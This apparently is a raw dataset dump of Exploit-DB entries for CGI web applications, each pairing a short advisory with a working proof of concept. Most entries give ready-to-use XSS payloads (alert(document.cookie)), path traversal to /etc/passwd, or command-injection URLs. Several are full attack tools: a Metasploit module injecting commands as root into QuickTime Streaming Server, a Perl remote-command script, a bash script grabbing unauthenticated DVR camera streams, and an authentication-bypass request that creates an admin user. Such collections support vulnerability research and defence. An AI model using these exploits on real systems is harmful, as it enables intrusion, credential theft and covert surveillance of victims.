deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35698
Description: Proofpoint Protection Server 5.5.5 - 'process.cgi' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2011-05-03
Author: Karan Khosla

Exploit:
source: https://www.securityfocus.com/bid/47687/info

Proofpoint Protection Server is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Proofpoint Protection Server 5.5.5 is vulnerable; other versions may also be affected. 


http://www.example.com:10020/enduser/process.cgi?cmd=release&;
recipient=xxx () yyy com au&
msg_id=%28MDYzMjU0NTJkYTQ0OWRhYjJlNWY1MjBhNzc5MDEwODlkZGY5OGIzMTc1MGI=%29&
locale=enus&x=580&y=470&displayprogress=t%22%20
onmouseover=%22alert%281%29%22%20name=%22frame_display%22%20id=%22
frame_display%22%20NORESIZE%20SCROLLING=%22no%22%20/%3E%3C!--
Exploit-DB #25666
Description: PServ 3.2 - Source Code Disclosure
Type: webapps
Platform: cgi
Date: 2005-05-16
Author: Claus R. F. Overbeck

Exploit:
source: https://www.securityfocus.com/bid/13638/info

pServ is affected by a remote source code disclosure vulnerability.

When handling a specially-crafted URI request, the application discloses the source code of scripts in the 'cgi-bin' directory.

Information gathered through this attack could be used to launch further attacks against a system. 

http://www.example.com/somedir/../cgi-bin/test.pl
Exploit-DB #38550
Description: QNAP VioStor NVR / QNAP NAS - Remote Code Execution
Type: webapps
Platform: cgi
Date: 2013-06-05
Author: Tim Herres

Exploit:
source: https://www.securityfocus.com/bid/60354/info

QNAP VioStor NVR and QNAP NAS are prone to a remote code-execution vulnerability.

Successfully exploiting this issue may allow an attacker to execute arbitrary code with elevated privileges in the context of the user running the affected application.

The following are vulnerable:

QNAP VioStor NVR running firmware 4.0.3.
QNAP NAS 

http://www.example.com/cgi-bin/pingping.cgi?ping_ip=1;whoami
Exploit-DB #16891
Description: QuickTime Streaming Server - 'parse_xml.cgi' Remote Execution (Metasploit)
Type: webapps
Platform: cgi
Date: 2010-07-03
Author: Metasploit

Exploit:
##
# $Id: qtss_parse_xml_exec.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'QuickTime Streaming Server parse_xml.cgi Remote Execution',
			'Description'    => %q{
					The QuickTime Streaming Server contains a CGI script that is vulnerable
				to metacharacter injection, allow arbitrary commands to be executed as root.
				},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					[ 'OSVDB', '10562'],
					[ 'BID', '6954' ],
					[ 'CVE', '2003-0050' ]
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 512,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl bash telnet',
						}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Feb 24 2003'
		))

		register_options(
			[
				Opt::RPORT(1220)
			], self.class)
	end

	def exploit

		print_status("Sending post request with embedded command...")

		data = "filename=" + Rex::Text.uri_encode(";#{payload.encoded}|")

		response = send_request_raw({
			'uri'	  => "/parse_xml.cgi",
			'method'  => 'POST',
			'data'    => data,
			'headers' =>
			{
				'Content-Type'	 => 'application/x-www-form-urlencoded',
				'Content-Length' => data.length,
			}
		}, 3)

		# If the upload worked, the server tries to redirect us to some info
		# about the file we just saved
		if response and response.code != 200
			print_error("Server returned non-200 status code (#{response.code})")
		end

		handler
	end
end
Exploit-DB #1670
Description: quizz 1.01 - 'quizz.pl' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2006-04-13
Author: FOX_MULDER

Exploit:
#!/usr/bin/perl
#
#  quizz.p exploit by FOX_MULDER (fox_mulder@abv.bg)
#
#  Vulnerability foud by WBYTE.
#
#  Born to be root !!!
#  
#  !!!!!!!!!!!!!!!THANKS to WBYTE !!!!!!!!!!!!!!!!!
#
#  FACT:Wbyte doesn't sleeps , he waits !.
#  0day
####################################################################################

use IO::Socket;
use LWP::Simple; 

sub Usage {
print STDERR "\nFOX_MULDER DID IT AGAIN !!!\n";
print STDERR "Usage:\nquiz.pl <www.example.com> </path/> \"cmd\"\n";
exit;
}

if (@ARGV < 3)
{
 Usage();
}


$host = @ARGV[0];
$path = @ARGV[1];
$command = @ARGV[2];
print "\n\n !!! PRIVATE PRIVATE PRIVATE !!! \n\n";
print "quizz.pl 0day Remote Command Execution Exploit by FOX_MULDER\n";

print "\n[+] Conecting to $host\n";
print "\n[+] Injecting command . . .\n\n";

my $result = get("http://$host$path/quizz.pl/ask/;$command|"); 

if (defined $result) { 
print "fox\@nasa# $result"; 
} 
else { 
print "Error with request.\n"; 
}

# milw0rm.com [2006-04-13]
Exploit-DB #41179
Description: Radisys MRF - Command Injection
Type: webapps
Platform: cgi
Date: 2017-01-27
Author: Filippos Mastrogiannis

Exploit:
Title:      MRF Web Panel OS Command Injection
Vendor:     Radisys
Vendor Homepage: http://www.radisys.com
Product:    MRF Web Panel (SWMS)
Version:    9.0.1
CVE:        CVE-2016-10043
CWE:        CWE-78
Risk Level: High

Discovery:  Filippos Mastrogiannis, Loukas Alkis & Dimitrios Maragkos
            COSMOTE (OTE Group) Information & Network Security

-----------------------------------------------------------------------------------------


Vulnerability Details:

The MRF Web Panel (SWMS) is vulnerable to OS Command Injection
attacks.

> Affected parameter: MSM_MACRO_NAME (POST parameter)
> Affected file: ms.cgi (/swms/ms.cgi)
> Verified Affected Operation: Show Fatal Error and Log Package Configuration

It is possible to use the pipe character (|) to inject arbitrary OS commands
and retrieve the output in the application's responses:

MSM_MACRO_NAME=Show_Fatal_Error_Configuration|||a #' |<command>||a #|" |||a #


Proof Of Concept:

1. Login to the vulnerable MRF web panel (with a standard user account): 
   https://<vulnerable>/swms
2. Fire up your favorite intercepting proxy tool (Burp Suite, OWASP ZAP etc)
3. Modify and send the following POST request:

POST /swms/ms.cgi HTTP/1.1
Host: <vulnerable>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://<vulnerable>/swms/ms.cgi?MSM_SID=<session_id>&MSM_MACRO_NAME=Show_Fatal_Error_Configuration&MSM_MACRO_CATEGORY=%3CMSM_MACRO_CATEGORY%3E&PROGRAM=IO&MSM_MACRO_INPUT=-GETFIRSTINPUT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

MSM_SID=<session_id>&MSM_MACRO_NAME=Show_Fatal_Error_Configuration|||a%20%23'%20|pwd||a%20%23|"%20|||a%20%23&MSM_MACRO_CATEGORY=%3CMSM_MACRO_CATEGORY%3E&PROGRAM=IO&MSM_MACRO_INPUT=-EXECUTE&Btn_Execute=Execute

4. Check the output of the injected command 'pwd' in the response:

HTTP/1.1 200 OK
Date: Thu, 21 Jul 2016 08:18:43 GMT
Server: Apache
Cache-Control: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 23

/var/opt/swms/www/html


Vulnerability Impact:

Application's own data and functionality or the web server can be compromised due
to OS command injection vulnerabilities. It may also be possible to use the server
as a platform for attacks against other systems.


Disclaimer:

The responsible disclosure policy has been followed
Exploit-DB #23432
Description: RemotelyAnywhere - Default.HTML Logout Message Injection
Type: webapps
Platform: cgi
Date: 2003-12-11
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/9202/info

RemotelyAnywhere has been reported prone to a logout message injection weakness. It has been reported that this issue presents itself due to a lack of sufficient restrictions performed by RemotelyAnywhere on user supplied 'reason' URI parameters. If a target user followed a malicious link, an attacker could potentially abuse this weakness, to include arbitrary messages in logout screens. This may aid in social engineering type attacks against the target user. 

https://www.example.com:2000/default.html?logout=asdf&reason=Please%20set%20your%20password%20to%20ABC123%20after%20login
Exploit-DB #24001
Description: Rhino Software Zaep AntiSpam 2.0 - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2004-04-14
Author: Noam Rathaus

Exploit:
source: https://www.securityfocus.com/bid/10139/info

It has been reported that Zaep AntiSpam is prone to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

ttp://example.zaep/?key=<script>alert(document.cookie)<%252Fscript>
Exploit-DB #47368
Description: Rifatron Intelligent Digital Security System - 'animate.cgi' Stream Disclosure
Type: webapps
Platform: cgi
Date: 2019-09-09
Author: LiquidWorm

Exploit:
#!/bin/bash
#
#
# Rifatron Intelligent Digital Security System (animate.cgi) Stream Disclosure
#
#
# Vendor: Rifatron Co., Ltd. | SAM MYUNG Co., Ltd.
# Product web page: http://www.rifatron.com
# Affected version: 5brid DVR (HD6-532/516, DX6-516/508/504, MX6-516/508/504, EH6-504)
#                   7brid DVR (HD3-16V2, DX3-16V2/08V2/04V2, MX3-08V2/04V2)
#                   Firmware: <=8.0 (000143)
#
#
# Summary: Rifatron with its roots in Seoul, Korea has been supplying and
# servicing the security market as a leading CCTV/video surveillance security
# system manufacturer, specializing in stand-alone digital video recorder since
# 1998. We are known for marking the first standalone DVR with audio detection
# and 480 frames per secone(fps) and have been focusing on highend products and
# large projects in a variety applications and merket. These include government
# and public services, banking and finance, hotels and entertatinment, retail
# education, industrial and commercial sectors throughout Europe, Middle East,
# the U.S. and Asia. Based on the accumulated know-how in the security industry,
# Rifatron is trying its utmost for the technology development and customer
# satisfaction to be the best security solution company in the world.
#
# Desc: The DVR suffers from an unauthenticated and unauthorized live stream
# disclosure when animate.cgi script is called through Mobile Web Viewer module.
#
# Tested on: Embedded Linux
#            Boa/0.94.14rc21
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2019-5532
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5532.php
#
#
# 03.09.2019
#

#{PoC}
#
set -euo pipefail
IFS=$'\n\t'
if [ "$#" -ne 2 ]; then
    echo "Usage: $0 IP:PORT CHANNEL" # Valid channel integers: 0-15
    echo "Ex.: $0 10.9.8.7:65432 10"
    exit
fi
IP=$1
CHANNEL=$2
HOST="http://$IP/cgi-bin/animate.cgi?$CHANNEL"
STATUS=$(curl -Is http://$IP/mobile_viewer_login.html 2>/dev/null | head -1 | awk -F" " '{print $2}')
if [ "$STATUS" == "404" ]; then
    echo "Target not vulnerable!"
    exit
fi
echo "Collecting snapshots..."
for x in {1..10};
    do echo -ne $x
    curl "$HOST" -o sequence-$x.jpg -#;
    sleep 0.6
    done
echo -ne "\nDone."
echo -ne "\nRendering video..."
ffmpeg -t 10 -v quiet -s 352x288 -r 1 -an -i sequence-%01d.jpg -c:v libx264 -vf fps=10 -pix_fmt yuvj422p video.mp4
echo " done."
echo -ne "\nRunning animation..."
sleep 1
cvlc video.mp4 --verbose -1 -f vlc://quit
#
#{/PoC}
Exploit-DB #24164
Description: Rit Research Labs TinyWeb 1.9.2 - Unauthorized Script Disclosure
Type: webapps
Platform: cgi
Date: 2004-06-01
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/10445/info

TinyWeb Server is affected by an unauthorized script disclosure vulnerability. This issue is due to an input validation error that allows malicious users to bypass standard web server rules.

This issue will allow an attacker to download or view scripts residing in the 'cgi-bin' directory.

This issue is reported to affect TinyWeb 1.92, it is likely that other versions are also vulnerable. 

http://www.example.com/./cgi-bin/targetfile
Exploit-DB #27115
Description: Rockliffe MailSite 5.3.4/6.1.22/7.0.3 - HTTP Mail Management Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2006-01-20
Author: OS2A BTO

Exploit:
source: https://www.securityfocus.com/bid/16330/info

MailSite is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com:90/CGI-BIN/WCONSOLE.DLL?%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #3412
Description: RRDBrowse 1.6 - Arbitrary File Disclosure
Type: webapps
Platform: cgi
Date: 2007-03-04
Author: Sebastian Wolfgarten

Exploit:
I - TITLE

Security advisory: Arbitrary file disclosure vulnerability in
rrdbrowse

II - SUMMARY

Description: Arbitrary file disclosure vulnerability in
rrdbrowse <= 1.6

Author: Sebastian Wolfgarten (sebastian at wolfgarten dot com),
http://www.devtarget.org

Date: March 4th, 2007

Severity: Medium

References: http://www.devtarget.org/rrdbrowse-advisory-03-2007.txt

III - OVERVIEW

Quote from rrdbrowse.org: "RRDBrowse is a poller daemon, templater and
webinterface for RRDTool. It has a threaded daemon which periodically
runs from cron. It works with small .nfo files which hold router
information and optionally connection details, colors, min max,
bandwidth settings, etc, etc. RRDBrowse uses a small caching mechanism
to store interface names. It's much MRTG like in it's current state".
More information about the product can be found online at
http://www.rrdbrowse.org.

IV - DETAILS

Due to inproper input validation, the CGI application "rrdbrowse"
(versions <=1.6) is vulnerable to an arbitrary file disclosure
vulnerability. It allows an unauthenticated remote attacker to read any
file on the remote system if the user the webserver is running as has
permissions to do so. Thus an attacker is able to gain access
potentially sensitive information.

V - EXPLOIT CODE

The vulnerability is trivial to exploit and only requires specifying an
URL with a relative file path on the remote system such as

http://$target/cgi-bin/rb.cgi?mode=page&file=../../../../../../../../etc/passwd

As the input to the "file" parameter is not validated in any way
accessing this URL will expose the contents of /etc/passwd to a remote
attacker (interestingly except the first line).

VI - WORKAROUND/FIX

To address this problem, the author of rrdbrowse (Tommy van Leeuwen) has
released an updated CVS version (1.7) of the software which is available
at http://www.rrdbrowse.org. Hence all users of rrdbrowse are asked to
test and install this version as soon as possible.

VII - DISCLOSURE TIMELINE

06. February 2007 - Notified vendor
14. Feburary 2007 - Patch/new version released
04. March 2007 - Public disclosure

# milw0rm.com [2007-03-04]
Exploit-DB #26398
Description: RSA ACE Agent 5.x - Image Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-10-26
Author: Bernhard Mueller

Exploit:
source: https://www.securityfocus.com/bid/15206/info

RSA ACE Agent is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/webauthentication?GetPic?image=x%3Cimg%20src=%22A%22+onError=%22javascript:alert('Thanks%20for%20turning%20on%20the%20remotecontrol')%3b%22%3Exxx
Exploit-DB #31411
Description: RSA WebID 5.3 - 'IISWebAgentIF.dll' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2008-03-17
Author: quentin.berdugo

Exploit:
source: https://www.securityfocus.com/bid/28277/info

RSA WebID is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

RSA WebID 5.3 is vulnerable; other versions may also be affected. 

https://www.example.com/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&authntype=2&username=a&passcode=a&postdata=aaa"%20><SCRIPT>alert(document.cookie)</script><!--
Exploit-DB #23647
Description: RXGoogle.CGI 1.0/2.5 - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2004-02-04
Author: Shaun Colley

Exploit:
source: https://www.securityfocus.com/bid/9575/info

The rxgoogle.cgi search script is prone to a cross-site scripting vulnerability because the software fails to sanitize user input and allows various metacharacters that may facilitate cross-site scripting attacks.

An attacker may leverage this issue to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/cgi-bin/rxgoogle.cgi?query=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E
Exploit-DB #31755
Description: SAP Internet Transaction Server 6200.1017.50954.0 - Bu query String JavaScript Splicing Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2008-05-08
Author: Portcullis

Exploit:
source: https://www.securityfocus.com/bid/29103/info
 
SAP Internet Transaction Server is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
These issues affect ITS 6200.1017.50954.0, Build 730827 (win32/IIS 5.0).

http://www.example.com/scripts/wgate/%22);alert('xss');alert(%22a/!
Exploit-DB #31754
Description: SAP Internet Transaction Server 6200.1017.50954.0 Bu (WGate) - 'wgate.dll?~service' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2008-05-08
Author: Portcullis

Exploit:
source: https://www.securityfocus.com/bid/29103/info

SAP Internet Transaction Server is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect ITS 6200.1017.50954.0, Build 730827 (win32/IIS 5.0).


http://www.example.com/scripts/wgate.dll?~service=--><img%09src=javascript:alert(xss)
Exploit-DB #26861
Description: ScareCrow 2.13 - 'forum.cgi?forum' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-12-16
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15915/info

ScareCrow is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

These issues affect version 2.13; other versions may also be vulnerable.

http://www.example.com/forum.cgi?forum=[XSS]
Exploit-DB #26863
Description: ScareCrow 2.13 - 'post.cgi?forum' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-12-16
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15915/info
  
ScareCrow is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
  
These issues affect version 2.13; other versions may also be vulnerable.

http://www.example.com/post.cgi?action=new&forum=[XSS]
Exploit-DB #26862
Description: ScareCrow 2.13 - 'profile.cgi?user' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-12-16
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15915/info
 
ScareCrow is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
 
These issues affect version 2.13; other versions may also be vulnerable.

http://www.example.com/profile.cgi?action=view&user=[XSS]
Exploit-DB #37549
Description: Scrutinizer 9.0.1.19899 - HTTP Authentication Bypass
Type: webapps
Platform: cgi
Date: 2012-07-30
Author: Mario Ceballos

Exploit:
source: https://www.securityfocus.com/bid/54727/info

Scrutinizer is prone to an authentication-bypass vulnerability.

Exploiting this issue may allow an attacker to bypass certain security restrictions and perform unauthorized actions.

Scrutinizer 9.5.0 is vulnerable; other versions may also be affected. 

#Request
POST /cgi-bin/admin.cgi HTTP/1.1
Host: 10.70.70.212
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0) Gecko/20100101 Firefox/11.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Length: 70

tool=userprefs&newUser=trustwave&[CREDENTIAL_REDACTED]=1

#Response
HTTP/1.1 200 OK
Date: Wed, 25 Apr 2012 17:52:15 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 19
Content-Type: text/html; charset=utf-8

{"new_user_id":"2"}